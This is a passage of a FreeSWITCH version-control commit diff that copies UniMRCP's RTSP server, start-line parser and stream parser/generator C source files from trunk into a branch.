+								RTSP_REASON_PHRASE_INTERNAL_SERVER_ERROR);
+		return FALSE;
+	}
+	return TRUE;
+}
+
+/* Process incoming SETUP request */
+static rtsp_server_session_t* rtsp_server_session_setup_process(rtsp_server_t *server, rtsp_server_connection_t *rtsp_connection, rtsp_message_t *message)
+{
+	rtsp_server_session_t *session = NULL;
+	if(message->start_line.common.request_line.method_id == RTSP_METHOD_SETUP) {
+		/* create new session */
+		session = rtsp_server_session_create(server);
+		session->connection = rtsp_connection;
+		session->url = message->start_line.common.request_line.url;
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Add RTSP Session "APT_SID_FMT,session->id.buf);
+		apr_hash_set(rtsp_connection->session_table,session->id.buf,session->id.length,session);
+	}
+	else if(message->start_line.common.request_line.method_id == RTSP_METHOD_DESCRIBE) {
+		/* create new session as a communication object */
+		session = rtsp_server_session_create(server);
+		session->connection = rtsp_connection;
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Add RTSP Session "APT_SID_FMT,session->id.buf);
+		apr_hash_set(rtsp_connection->session_table,session->id.buf,session->id.length,session);
+	}
+	else {
+		/* error case */
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Missing RTSP Session-ID");
+		rtsp_server_error_respond(server,rtsp_connection,message,
+								RTSP_STATUS_CODE_BAD_REQUEST,
+								RTSP_REASON_PHRASE_BAD_REQUEST);
+	}
+	return session;
+}
+
+/* Process incoming RTSP request */
+static apt_bool_t rtsp_server_session_request_process(rtsp_server_t *server, rtsp_server_connection_t *rtsp_connection, rtsp_message_t *message)
+{
+	rtsp_server_session_t *session = NULL;
+	if(message->start_line.message_type != RTSP_MESSAGE_TYPE_REQUEST) {
+		/* received response to ANNOUNCE request/event */
+		return TRUE;
+	}
+
+	if(rtsp_header_property_check(&message->header.property_set,RTSP_HEADER_FIELD_SESSION_ID) != TRUE) {
+		/* no session-id specified */
+		session = rtsp_server_session_setup_process(server,rtsp_connection,message);
+		if(session) {
+			session->active_request = message;
+			if(rtsp_server_session_message_handle(server,session,message) != TRUE) {
+				rtsp_server_session_destroy(session);
+			}
+		}
+		return TRUE;
+	}
+
+	/* existing session */
+	session = apr_hash_get(
+				rtsp_connection->session_table,
+				message->header.session_id.buf,
+				message->header.session_id.length);
+	if(!session) {
+		/* error case */
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"No Such RTSP Session "APT_SID_FMT,message->header.session_id.buf);
+		return rtsp_server_error_respond(server,rtsp_connection,message,
+								RTSP_STATUS_CODE_NOT_FOUND,
+								RTSP_REASON_PHRASE_NOT_FOUND);
+	}
+	
+	if(session->active_request) {
+		apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Push RTSP Request to Queue "APT_SID_FMT,session->id.buf);
+		apt_list_push_back(session->request_queue,message,message->pool);
+		return TRUE;
+	}
+
+	/* handle the request */
+	session->active_request = message;
+	rtsp_server_session_message_handle(server,session,message);
+	return TRUE;
+}
+
+/* Process outgoing RTSP response */
+static apt_bool_t rtsp_server_session_response_process(rtsp_server_t *server, rtsp_server_session_t *session, rtsp_message_t *message)
+{
+	if(session->id.buf) {
+		message->header.session_id = session->id;
+		rtsp_header_property_add(&message->header.property_set,RTSP_HEADER_FIELD_SESSION_ID);
+	}
+
+	if(message->start_line.message_type == RTSP_MESSAGE_TYPE_REQUEST) {
+		/* RTSP ANNOUNCE request (asynch event) */
+		message->start_line.common.request_line.url = session->url;
+		message->header.cseq = session->last_cseq;
+		rtsp_header_property_add(&message->header.property_set,RTSP_HEADER_FIELD_CSEQ);
+		
+		rtsp_server_message_send(server,session->connection->base,message);
+		return TRUE;
+	}
+
+	session->last_cseq = message->header.cseq;
+	rtsp_server_message_send(server,session->connection->base,message);
+
+	if(session->active_request) {
+		rtsp_message_t *request = session->active_request;
+		if(request->start_line.common.request_line.method_id == RTSP_METHOD_SETUP) {
+			if(message->start_line.common.status_line.status_code != RTSP_STATUS_CODE_OK) {
+				rtsp_server_session_terminate_request(server,session);
+			}
+		}
+		else if(request->start_line.common.request_line.method_id == RTSP_METHOD_DESCRIBE) {
+			rtsp_server_session_terminate_request(server,session);
+		}
+	}
+
+	session->active_request = apt_list_pop_front(session->request_queue);
+	if(session->active_request) {
+		rtsp_server_session_message_handle(server,session,session->active_request);
+	}
+	return TRUE;
+}
+
+/* Send RTSP message through RTSP connection */
+static apt_bool_t rtsp_server_message_send(rtsp_server_t *server, apt_net_server_connection_t *connection, rtsp_message_t *message)
+{
+	apt_bool_t status = FALSE;
+	rtsp_server_connection_t *rtsp_connection;
+	apt_text_stream_t *stream;
+	rtsp_stream_result_e result;
+
+	if(!connection || !connection->sock) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"No RTSP Connection");
+		return FALSE;
+	}
+	rtsp_connection = connection->obj;
+	stream = &rtsp_connection->tx_stream;
+		
+	rtsp_generator_message_set(rtsp_connection->generator,message);
+	do {
+		stream->text.length = sizeof(rtsp_connection->tx_buffer)-1;
+		stream->pos = stream->text.buf;
+		result = rtsp_generator_run(rtsp_connection->generator,stream);
+		if(result == RTSP_STREAM_MESSAGE_COMPLETE || result == RTSP_STREAM_MESSAGE_TRUNCATED) {
+			stream->text.length = stream->pos - stream->text.buf;
+			*stream->pos = '\0';
+
+			apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Send RTSP Stream %s [%lu bytes]\n%s",
+				connection->id,
+				stream->text.length,
+				stream->text.buf);
+			if(apr_socket_send(connection->sock,stream->text.buf,&stream->text.length) == APR_SUCCESS) {
+				status = TRUE;
+			}
+			else {
+				apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Send RTSP Stream");
+			}
+		}
+		else {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Generate RTSP Stream");
+		}
+	}
+	while(result == RTSP_STREAM_MESSAGE_TRUNCATED);
+
+	return status;
+}
+
+static apt_bool_t rtsp_server_message_handler(void *obj, rtsp_message_t *message, rtsp_stream_result_e result)
+{
+	rtsp_server_connection_t *rtsp_connection = obj;
+	if(result == RTSP_STREAM_MESSAGE_COMPLETE) {
+		/* message is completely parsed */
+		apt_str_t *destination;
+		rtsp_message_t *message = rtsp_parser_message_get(rtsp_connection->parser);
+		destination = &message->header.transport.destination;
+		if(!destination->buf && rtsp_connection->base->client_ip) {
+			apt_string_assign(destination,rtsp_connection->base->client_ip,rtsp_connection->base->pool);
+		}
+		rtsp_server_session_request_process(rtsp_connection->server,rtsp_connection,message);
+	}
+	else if(result == RTSP_STREAM_MESSAGE_INVALID) {
+		/* error case */
+		rtsp_message_t *response;
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Parse RTSP Stream");
+		if(message) {
+			response = rtsp_response_create(message,RTSP_STATUS_CODE_BAD_REQUEST,
+									RTSP_REASON_PHRASE_BAD_REQUEST,message->pool);
+			if(rtsp_server_message_send(rtsp_connection->server,rtsp_connection->base,response) == FALSE) {
+				apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Send RTSP Response");
+			}
+		}
+	}
+	return TRUE;
+}
+
+/* Receive RTSP message through RTSP connection */
+static apt_bool_t rtsp_server_message_receive(apt_net_server_task_t *task, apt_net_server_connection_t *connection)
+{
+	rtsp_server_connection_t *rtsp_connection;
+	apr_status_t status;
+	apr_size_t offset;
+	apr_size_t length;
+	apt_text_stream_t *stream;
+
+	if(!connection || !connection->sock) {
+		return FALSE;
+	}
+	rtsp_connection = connection->obj;
+	stream = &rtsp_connection->rx_stream;
+
+	/* init length of the stream */
+	stream->text.length = sizeof(rtsp_connection->rx_buffer)-1;
+	/* calculate offset remaining from the previous receive / if any */
+	offset = stream->pos - stream->text.buf;
+	/* calculate available length */
+	length = stream->text.length - offset;
+	status = apr_socket_recv(connection->sock,stream->pos,&length);
+	if(status == APR_EOF || length == 0) {
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"TCP Peer Disconnected %s",connection->id);
+		return apt_net_server_connection_close(task,connection);
+	}
+	/* calculate actual length of the stream */
+	stream->text.length = offset + length;
+	stream->pos[length] = '\0';
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Receive RTSP Stream %s [%lu bytes]\n%s",
+		connection->id,
+		length,
+		stream->pos);
+
+	/* reset pos */
+	stream->pos = stream->text.buf;
+	/* walk through the stream parsing RTSP messages */
+	return rtsp_stream_walk(rtsp_connection->parser,stream,rtsp_server_message_handler,rtsp_connection);
+}
+
+/* New RTSP connection accepted */
+static apt_bool_t rtsp_server_on_connect(apt_net_server_task_t *task, apt_net_server_connection_t *connection)
+{
+	rtsp_server_t *server = apt_net_server_task_object_get(task);
+	rtsp_server_connection_t *rtsp_connection = apr_palloc(connection->pool,sizeof(rtsp_server_connection_t));
+	rtsp_connection->session_table = apr_hash_make(connection->pool);
+	apt_text_stream_init(&rtsp_connection->rx_stream,rtsp_connection->rx_buffer,sizeof(rtsp_connection->rx_buffer)-1);
+	apt_text_stream_init(&rtsp_connection->tx_stream,rtsp_connection->tx_buffer,sizeof(rtsp_connection->tx_buffer)-1);
+	rtsp_connection->parser = rtsp_parser_create(connection->pool);
+	rtsp_connection->generator = rtsp_generator_create(connection->pool);
+	rtsp_connection->base = connection;
+	connection->obj = rtsp_connection;
+	if(!server->connection_list) {
+		server->connection_list = apt_list_create(server->sub_pool);
+	}
+	rtsp_connection->server = server;
+	rtsp_connection->it = apt_list_push_back(server->connection_list,rtsp_connection,connection->pool);
+	return TRUE;
+}
+
+/* RTSP connection disconnected */
+static apt_bool_t rtsp_server_on_disconnect(apt_net_server_task_t *task, apt_net_server_connection_t *connection)
+{
+	apr_size_t remaining_sessions = 0;
+	rtsp_server_t *server = apt_net_server_task_object_get(task);
+	rtsp_server_connection_t *rtsp_connection = connection->obj;
+	apt_list_elem_remove(server->connection_list,rtsp_connection->it);
+	rtsp_connection->it = NULL;
+	if(apt_list_is_empty(server->connection_list) == TRUE) {
+		apr_pool_clear(server->sub_pool);
+		server->connection_list = NULL;
+	}
+
+	remaining_sessions = apr_hash_count(rtsp_connection->session_table);
+	if(remaining_sessions) {
+		rtsp_server_session_t *session;
+		void *val;
+		apr_hash_index_t *it;
+		apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Terminate Remaining RTSP Sessions [%d]",remaining_sessions);
+		it = apr_hash_first(connection->pool,rtsp_connection->session_table);
+		for(; it; it = apr_hash_next(it)) {
+			apr_hash_this(it,NULL,NULL,&val);
+			session = val;
+			if(session && session->terminating == FALSE) {
+				rtsp_server_session_terminate_request(server,session);
+			}
+		}
+	}
+	else {
+		apt_net_server_connection_destroy(connection);
+	}
+	return TRUE;
+}
+
+/* Process task message */
+static apt_bool_t rtsp_server_task_msg_process(apt_task_t *task, apt_task_msg_t *task_msg)
+{
+	apt_net_server_task_t *net_task = apt_task_object_get(task);
+	rtsp_server_t *server = apt_net_server_task_object_get(net_task);
+
+	task_msg_data_t *data = (task_msg_data_t*) task_msg->data;
+	switch(data->type) {
+		case TASK_MSG_SEND_MESSAGE:
+			rtsp_server_session_response_process(server,data->session,data->message);
+			break;
+		case TASK_MSG_TERMINATE_SESSION:
+			rtsp_server_session_do_terminate(server,data->session);
+			break;
+	}
+
+	return TRUE;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/src/rtsp_start_line.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/src/rtsp_start_line.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/uni-rtsp/src/rtsp_start_line.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/src/rtsp_start_line.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/src/rtsp_start_line.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,237 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "rtsp_start_line.h"
+#include "apt_string_table.h"
+#include "apt_log.h"
+
+/** Protocol name used in version string */
+#define RTSP_NAME "RTSP"
+#define RTSP_NAME_LENGTH        (sizeof(RTSP_NAME)-1)
+
+/** Separators used in RTSP version string parse/generate */
+#define RTSP_NAME_VERSION_SEPARATOR        '/'
+#define RTSP_VERSION_MAJOR_MINOR_SEPARATOR '.'
+
+/** String table of RTSP methods (rtsp_method_id) */
+static const apt_str_table_item_t rtsp_method_string_table[] = {
+	{{"SETUP",    5},0},
+	{{"ANNOUNCE", 8},0},
+	{{"TEARDOWN", 8},0},
+	{{"DESCRIBE", 8},0}
+};
+
+/** String table of RTSP reason phrases (rtsp_reason_phrase_e) */
+static const apt_str_table_item_t rtsp_reason_string_table[] = {
+	{{"OK",                     2},0},
+	{{"Created",                7},0},
+	{{"Bad Request",           11},0},
+	{{"Unauthorized",          12},0},
+	{{"Not Found",              9},4},
+	{{"Method Not Allowed",    18},0},
+	{{"Not Acceptable",        14},4},
+	{{"Session Not Found",     17},0},
+	{{"Internal Server Error", 21},0},
+	{{"Not Implemented",       15},4}
+};
+
+/** Parse RTSP URI */
+static apt_bool_t rtsp_resource_uri_parse(const apt_str_t *field, rtsp_request_line_t *request_line, apr_pool_t *pool)
+{
+	char *str;
+	apt_str_t *url = &request_line->url;
+	if(!field->length || !field->buf) {
+		return FALSE;
+	}
+
+	apt_string_copy(url,field,pool);
+	if(url->buf[url->length-1] == '/') {
+		url->length--;
+		url->buf[url->length] = '\0';
+	}
+
+	str = strrchr(url->buf,'/');
+	if(str) {
+		str++;
+	}
+	request_line->resource_name = str;
+	return TRUE;
+}
+
+/** Parse RTSP version */
+static rtsp_version_e rtsp_version_parse(const apt_str_t *field)
+{
+	rtsp_version_e version = RTSP_VERSION_UNKNOWN;
+	const char *pos;
+	if(field->length <= RTSP_NAME_LENGTH || strncasecmp(field->buf,RTSP_NAME,RTSP_NAME_LENGTH) != 0) {
+		/* unexpected protocol name */
+		return version;
+	}
+
+	pos = field->buf + RTSP_NAME_LENGTH;
+	if(*pos == RTSP_NAME_VERSION_SEPARATOR) {
+		pos++;
+		switch(*pos) {
+			case '1': version = RTSP_VERSION_1; break;
+			default: ;
+		}
+	}
+	return version;
+}
+
+/** Generate RTSP version */
+static apt_bool_t rtsp_version_generate(rtsp_version_e version, apt_text_stream_t *stream)
+{
+	memcpy(stream->pos,RTSP_NAME,RTSP_NAME_LENGTH);
+	stream->pos += RTSP_NAME_LENGTH;
+	*stream->pos++ = RTSP_NAME_VERSION_SEPARATOR;
+	apt_size_value_generate(version,stream);
+	*stream->pos++ = RTSP_VERSION_MAJOR_MINOR_SEPARATOR;
+	*stream->pos++ = '0';
+	return TRUE;
+}
+
+/** Parse RTSP status-code */
+static APR_INLINE rtsp_status_code_e rtsp_status_code_parse(const apt_str_t *field)
+{
+	return apt_size_value_parse(field);
+}
+
+/** Generate RTSP status-code */
+static APR_INLINE apt_bool_t rtsp_status_code_generate(rtsp_status_code_e status_code, apt_text_stream_t *stream)
+{
+	return apt_size_value_generate(status_code,stream);
+}
+
+/** Generate RTSP request-line */
+static apt_bool_t rtsp_request_line_generate(rtsp_request_line_t *start_line, apt_text_stream_t *stream)
+{
+	const apt_str_t *method_name = apt_string_table_str_get(rtsp_method_string_table,RTSP_METHOD_COUNT,start_line->method_id);
+	if(!method_name) {
+		return FALSE;
+	}
+	start_line->method_name = *method_name;
+	apt_string_value_generate(&start_line->method_name,stream);
+	apt_text_space_insert(stream);
+
+	apt_string_value_generate(&start_line->url,stream);
+	apt_text_space_insert(stream);
+
+	rtsp_version_generate(start_line->version,stream);
+	return TRUE;
+}
+
+/** Generate RTSP status-line */
+static apt_bool_t rtsp_status_line_generate(rtsp_status_line_t *start_line, apt_text_stream_t *stream)
+{
+	rtsp_version_generate(start_line->version,stream);
+	apt_text_space_insert(stream);
+
+	rtsp_status_code_generate(start_line->status_code,stream);
+	apt_text_space_insert(stream);
+
+	apt_string_value_generate(&start_line->reason,stream);
+	return TRUE;
+}
+
+/** Parse RTSP start-line */
+RTSP_DECLARE(apt_bool_t) rtsp_start_line_parse(rtsp_start_line_t *start_line, apt_text_stream_t *stream, apr_pool_t *pool)
+{
+	apt_text_stream_t line;
+	apt_str_t field;
+	if(apt_text_line_read(stream,&line.text) == FALSE) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Cannot parse RTSP start-line");
+		return FALSE;
+	}
+	line.pos = line.text.buf;
+
+	if(apt_text_field_read(&line,APT_TOKEN_SP,TRUE,&field) == FALSE) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Cannot read the first field in start-line");
+		return FALSE;
+	}
+
+	if(field.buf == strstr(field.buf,RTSP_NAME)) {
+		/* parsing RTSP response */
+		rtsp_status_line_t  *status_line = &start_line->common.status_line;
+		start_line->message_type = RTSP_MESSAGE_TYPE_RESPONSE;
+		rtsp_status_line_init(status_line);
+
+		status_line->version = rtsp_version_parse(&field);
+
+		if(apt_text_field_read(&line,APT_TOKEN_SP,TRUE,&field) == FALSE) {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Cannot parse status-code in status-line");
+			return FALSE;
+		}
+		status_line->status_code = rtsp_status_code_parse(&field);
+
+		if(apt_text_field_read(&line,APT_TOKEN_SP,TRUE,&field) == FALSE) {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Cannot parse reason phrase in status-line");
+			return FALSE;
+		}
+		apt_string_copy(&status_line->reason,&field,pool);
+	}
+	else {
+		/* parsing RTSP request */
+		rtsp_request_line_t *request_line = &start_line->common.request_line;
+		start_line->message_type = RTSP_MESSAGE_TYPE_REQUEST;
+		rtsp_request_line_init(request_line);
+
+		apt_string_copy(&request_line->method_name,&field,pool);
+		request_line->method_id = apt_string_table_id_find(rtsp_method_string_table,RTSP_METHOD_COUNT,&field);
+
+		if(apt_text_field_read(&line,APT_TOKEN_SP,TRUE,&field) == FALSE) {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Cannot parse URL in request-line");
+			return FALSE;
+		}
+		rtsp_resource_uri_parse(&field,request_line,pool);
+
+		if(apt_text_field_read(&line,APT_TOKEN_SP,TRUE,&field) == FALSE) {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Cannot parse version in request-line");
+			return FALSE;
+		}
+		request_line->version = rtsp_version_parse(&field);
+	}
+
+	return TRUE;
+}
+
+/** Generate RTSP start-line */
+RTSP_DECLARE(apt_bool_t) rtsp_start_line_generate(rtsp_start_line_t *start_line, apt_text_stream_t *stream)
+{
+	apt_bool_t status = FALSE;
+	switch(start_line->message_type) {
+		case RTSP_MESSAGE_TYPE_REQUEST:
+			status = rtsp_request_line_generate(&start_line->common.request_line,stream);
+			break;
+		case RTSP_MESSAGE_TYPE_RESPONSE:
+			status = rtsp_status_line_generate(&start_line->common.status_line,stream);
+			break;
+		default:
+			break;
+	}
+
+	if(status == TRUE) {
+		apt_text_eol_insert(stream);
+	}
+	
+	return status;
+}
+
+/** Get reason phrase by status code */
+RTSP_DECLARE(const apt_str_t*) rtsp_reason_phrase_get(rtsp_reason_phrase_e reason)
+{
+	return apt_string_table_str_get(rtsp_reason_string_table,RTSP_REASON_PHRASE_COUNT,reason);
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/src/rtsp_stream.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/src/rtsp_stream.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/uni-rtsp/src/rtsp_stream.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/src/rtsp_stream.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/src/rtsp_stream.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,287 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "rtsp_stream.h"
+#include "apt_log.h"
+
+/** RTSP parser */
+struct rtsp_parser_t {
+	rtsp_stream_result_e result;
+	char                *pos;
+	apt_bool_t           skip_lf;
+	rtsp_message_t      *message;
+	apr_pool_t          *pool;
+};
+
+/** RTSP generator */
+struct rtsp_generator_t {
+	rtsp_stream_result_e result;
+	char                *pos;
+	rtsp_message_t      *message;
+	apr_pool_t          *pool;
+};
+
+/** Read RTSP message-body */
+static rtsp_stream_result_e rtsp_message_body_read(rtsp_message_t *message, apt_text_stream_t *stream)
+{
+	rtsp_stream_result_e result = RTSP_STREAM_MESSAGE_COMPLETE;
+	if(message->body.buf) {
+		/* stream length available to read */
+		apr_size_t stream_length = stream->text.length - (stream->pos - stream->text.buf);
+		/* required/remaining length to read */
+		apr_size_t required_length = message->header.content_length - message->body.length;
+		if(required_length > stream_length) {
+			required_length = stream_length;
+			/* not complete */
+			result = RTSP_STREAM_MESSAGE_TRUNCATED;
+		}
+		memcpy(message->body.buf+message->body.length,stream->pos,required_length);
+		message->body.length += required_length;
+		stream->pos += required_length;
+		message->body.buf[message->body.length] = '\0';
+	}
+
+	return result;
+}
+
+/** Parse RTSP message-body */
+static rtsp_stream_result_e rtsp_message_body_parse(rtsp_message_t *message, apt_text_stream_t *stream, apr_pool_t *pool)
+{
+	if(rtsp_header_property_check(&message->header.property_set,RTSP_HEADER_FIELD_CONTENT_LENGTH) == TRUE) {
+		if(message->header.content_length) {
+			apt_str_t *body = &message->body;
+			body->buf = apr_palloc(pool,message->header.content_length+1);
+			body->length = 0;
+			return rtsp_message_body_read(message,stream);
+		}
+	}
+	return RTSP_STREAM_MESSAGE_COMPLETE;
+}
+
+/** Write RTSP message-body */
+static rtsp_stream_result_e rtsp_message_body_write(rtsp_message_t *message, apt_text_stream_t *stream)
+{
+	rtsp_stream_result_e result = RTSP_STREAM_MESSAGE_COMPLETE;
+	if(message->body.length < message->header.content_length) {
+		/* stream length available to write */
+		apr_size_t stream_length = stream->text.length - (stream->pos - stream->text.buf);
+		/* required/remaining length to write */
+		apr_size_t required_length = message->header.content_length - message->body.length;
+		if(required_length > stream_length) {
+			required_length = stream_length;
+			/* not complete */
+			result = RTSP_STREAM_MESSAGE_TRUNCATED;
+		}
+
+		memcpy(stream->pos,message->body.buf+message->body.length,required_length);
+		message->body.length += required_length;
+		stream->pos += required_length;
+	}
+
+	return result;
+}
+
+/** Generate RTSP message-body */
+static rtsp_stream_result_e rtsp_message_body_generate(rtsp_message_t *message, apt_text_stream_t *stream, apr_pool_t *pool)
+{
+	if(rtsp_header_property_check(&message->header.property_set,RTSP_HEADER_FIELD_CONTENT_LENGTH) == TRUE) {
+		if(message->header.content_length) {
+			apt_str_t *body = &message->body;
+			body->length = 0;
+			return rtsp_message_body_write(message,stream);
+		}
+	}
+	return RTSP_STREAM_MESSAGE_COMPLETE;
+}
+
+/** Create RTSP parser */
+RTSP_DECLARE(rtsp_parser_t*) rtsp_parser_create(apr_pool_t *pool)
+{
+	rtsp_parser_t *parser = apr_palloc(pool,sizeof(rtsp_parser_t));
+	parser->result = RTSP_STREAM_MESSAGE_INVALID;
+	parser->pos = NULL;
+	parser->skip_lf = FALSE;
+	parser->message = NULL;
+	parser->pool = pool;
+	return parser;
+}
+
+static rtsp_stream_result_e rtsp_parser_break(rtsp_parser_t *parser, apt_text_stream_t *stream)
+{
+	/* failed to parse either start-line or header */
+	if(apt_text_is_eos(stream) == TRUE) {
+		/* end of stream reached, rewind/restore stream */
+		stream->pos = parser->pos;
+		parser->result = RTSP_STREAM_MESSAGE_TRUNCATED;
+		parser->message = NULL;
+	}
+	else {
+		/* error case */
+		parser->result = RTSP_STREAM_MESSAGE_INVALID;
+	}
+	return parser->result;
+}
+
+/** Parse RTSP stream */
+RTSP_DECLARE(rtsp_stream_result_e) rtsp_parser_run(rtsp_parser_t *parser, apt_text_stream_t *stream)
+{
+	rtsp_message_t *message = parser->message;
+	if(message && parser->result == RTSP_STREAM_MESSAGE_TRUNCATED) {
+		/* process continuation data */
+		parser->result = rtsp_message_body_read(message,stream);
+		return parser->result;
+	}
+
+	/* create new RTSP message */
+	message = rtsp_message_create(RTSP_MESSAGE_TYPE_UNKNOWN,parser->pool);
+	parser->message = message;
+	/* store current position to be able to rewind/restore stream if needed */
+	parser->pos = stream->pos;
+	/* parse start-line */
+	if(rtsp_start_line_parse(&message->start_line,stream,message->pool) == FALSE) {
+		return rtsp_parser_break(parser,stream);
+	}
+	/* parse header */
+	if(rtsp_header_parse(&message->header,stream,message->pool) == FALSE) {
+		return rtsp_parser_break(parser,stream);
+	}
+	/* parse body */
+	parser->result = rtsp_message_body_parse(message,stream,message->pool);
+	
+	/* in the worst case message segmentation may occur between <CR> and <LF> 
+	   of the final empty header */
+	if(!message->body.length && *(stream->pos-1)== APT_TOKEN_CR) {
+		/* if this is the case be prepared to skip <LF> */
+		parser->skip_lf = TRUE;
+	}
+	return parser->result;
+}
+
+/** Get parsed RTSP message */
+RTSP_DECLARE(rtsp_message_t*) rtsp_parser_message_get(const rtsp_parser_t *parser)
+{
+	return parser->message;
+}
+
+
+/** Create RTSP stream generator */
+RTSP_DECLARE(rtsp_generator_t*) rtsp_generator_create(apr_pool_t *pool)
+{
+	rtsp_generator_t *generator = apr_palloc(pool,sizeof(rtsp_generator_t));
+	generator->result = RTSP_STREAM_MESSAGE_INVALID;
+	generator->pos = NULL;
+	generator->message = NULL;
+	generator->pool = pool;
+	return generator;
+}
+
+/** Set RTSP message to generate */
+RTSP_DECLARE(apt_bool_t) rtsp_generator_message_set(rtsp_generator_t *generator, rtsp_message_t *message)
+{
+	if(!message) {
+		return FALSE;
+	}
+	generator->message = message;
+	return TRUE;
+}
+
+static rtsp_stream_result_e rtsp_generator_break(rtsp_generator_t *generator, apt_text_stream_t *stream)
+{
+	/* failed to generate either start-line or header */
+	if(apt_text_is_eos(stream) == TRUE) {
+		/* end of stream reached, rewind/restore stream */
+		stream->pos = generator->pos;
+		generator->result = RTSP_STREAM_MESSAGE_TRUNCATED;
+	}
+	else {
+		/* error case */
+		generator->result = RTSP_STREAM_MESSAGE_INVALID;
+	}
+	return generator->result;
+}
+
+/** Generate RTSP stream */
+RTSP_DECLARE(rtsp_stream_result_e) rtsp_generator_run(rtsp_generator_t *generator, apt_text_stream_t *stream)
+{
+	rtsp_message_t *message = generator->message;
+	if(!message) {
+		return RTSP_STREAM_MESSAGE_INVALID;
+	}
+
+	if(message && generator->result == RTSP_STREAM_MESSAGE_TRUNCATED) {
+		/* process continuation data */
+		generator->result = rtsp_message_body_write(message,stream);
+		return generator->result;
+	}
+
+	/* generate start-line */
+	if(rtsp_start_line_generate(&message->start_line,stream) == FALSE) {
+		return rtsp_generator_break(generator,stream);
+	}
+
+	/* generate header */
+	if(rtsp_header_generate(&message->header,stream) == FALSE) {
+		return rtsp_generator_break(generator,stream);
+	}
+
+	/* generate body */
+	generator->result = rtsp_message_body_generate(message,stream,message->pool);
+	return generator->result;
+}
+
+
+/** Walk through RTSP stream and invoke message handler for each parsed message */
+RTSP_DECLARE(apt_bool_t) rtsp_stream_walk(rtsp_parser_t *parser, apt_text_stream_t *stream, rtsp_message_handler_f handler, void *obj)
+{
+	rtsp_stream_result_e result;
+	if(parser->skip_lf == TRUE) {
+		/* skip <LF> occurred as a result of message segmentation between <CR> and <LF> */
+		apt_text_char_skip(stream,APT_TOKEN_LF);
+		parser->skip_lf = FALSE;
+	}
+	do {
+		result = rtsp_parser_run(parser,stream);
+		if(result == RTSP_STREAM_MESSAGE_COMPLETE) {
+			/* message is completely parsed */
+			apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Parsed RTSP Message [%lu]", stream->pos - stream->text.buf);
+			/* invoke message handler */
+			handler(obj,parser->message,result);
+		}
+		else if(result == RTSP_STREAM_MESSAGE_TRUNCATED) {
+			/* message is partially parsed, to be continued */
+			apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Truncated RTSP Message [%lu]", stream->pos - stream->text.buf);
+			/* prepare stream for further processing */
+			if(apt_text_stream_scroll(stream) == TRUE) {
+				apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Scroll RTSP Stream", stream->text.buf);
+			}
+			return TRUE;
+		}
+		else if(result == RTSP_STREAM_MESSAGE_INVALID){
+			/* error case */
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Parse RTSP Message");
+			/* invoke message handler */
+			handler(obj,parser->message,result);
+			/* reset stream pos */
+			stream->pos = stream->text.buf;
+			return FALSE;
+		}
+	}
+	while(apt_text_is_eos(stream) == FALSE);
+
+	/* reset stream pos */
+	stream->pos = stream->text.buf;
+	return TRUE;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/unirtsp.vcproj

Copied: freeswitch/branches/seven/libs/unimrcp/libs/uni-rtsp/unirtsp.vcproj (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/uni-rtsp/unirtsp.vcproj) (0 => 14472)


